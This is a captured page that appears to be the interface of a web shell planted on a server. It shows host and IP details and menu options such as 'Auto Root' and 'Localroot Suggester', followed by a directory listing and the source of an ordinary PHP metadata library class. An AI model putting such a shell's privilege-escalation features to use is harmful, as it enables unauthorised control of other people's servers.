Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.133.149.244
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
jms /
metadata /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Cache
[ DIR ]
drwxrwxr-x
2021-11-22 12:27
Driver
[ DIR ]
drwxrwxr-x
2021-11-22 12:27
AdvancedMetadataFactoryInterface.php
509
B
-rw-rw-r--
2021-11-22 12:27
ClassHierarchyMetadata.php
904
B
-rw-rw-r--
2021-11-22 12:27
ClassMetadata.php
2
KB
-rw-rw-r--
2021-11-22 12:27
MergeableClassMetadata.php
821
B
-rw-rw-r--
2021-11-22 12:27
MergeableInterface.php
148
B
-rw-rw-r--
2021-11-22 12:27
MetadataFactory.php
5.94
KB
-rw-rw-r--
2021-11-22 12:27
MetadataFactoryInterface.php
915
B
-rw-rw-r--
2021-11-22 12:27
MethodMetadata.php
1.75
KB
-rw-rw-r--
2021-11-22 12:27
NullMetadata.php
223
B
-rw-rw-r--
2021-11-22 12:27
PropertyMetadata.php
845
B
-rw-rw-r--
2021-11-22 12:27
SerializationHelper.php
688
B
-rw-rw-r--
2021-11-22 12:27
Save
Rename
<?php declare(strict_types=1); namespace Metadata; /** * Base class for class metadata. * * This class is intended to be extended to add your own application specific * properties, and flags. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ class ClassMetadata implements \Serializable { use SerializationHelper; /** * @var string */ public $name; /** * @var MethodMetadata[] */ public $methodMetadata = []; /** * @var PropertyMetadata[] */ public $propertyMetadata = []; /** * @var string[] */ public $fileResources = []; /** * @var int */ public $createdAt; public function __construct(string $name) { $this->name = $name; $this->createdAt = time(); } public function addMethodMetadata(MethodMetadata $metadata): void { $this->methodMetadata[$metadata->name] = $metadata; } public function addPropertyMetadata(PropertyMetadata $metadata): void { $this->propertyMetadata[$metadata->name] = $metadata; } public function isFresh(?int $timestamp = null): bool { if (null === $timestamp) { $timestamp = $this->createdAt; } foreach ($this->fileResources as $filepath) { if (!file_exists($filepath)) { return false; } if ($timestamp < filemtime($filepath)) { return false; } } return true; } protected function serializeToArray(): array { return [ $this->name, $this->methodMetadata, $this->propertyMetadata, $this->fileResources, $this->createdAt, ]; } protected function unserializeFromArray(array $data): void { [ $this->name, $this->methodMetadata, $this->propertyMetadata, $this->fileResources, $this->createdAt, ] = $data; } }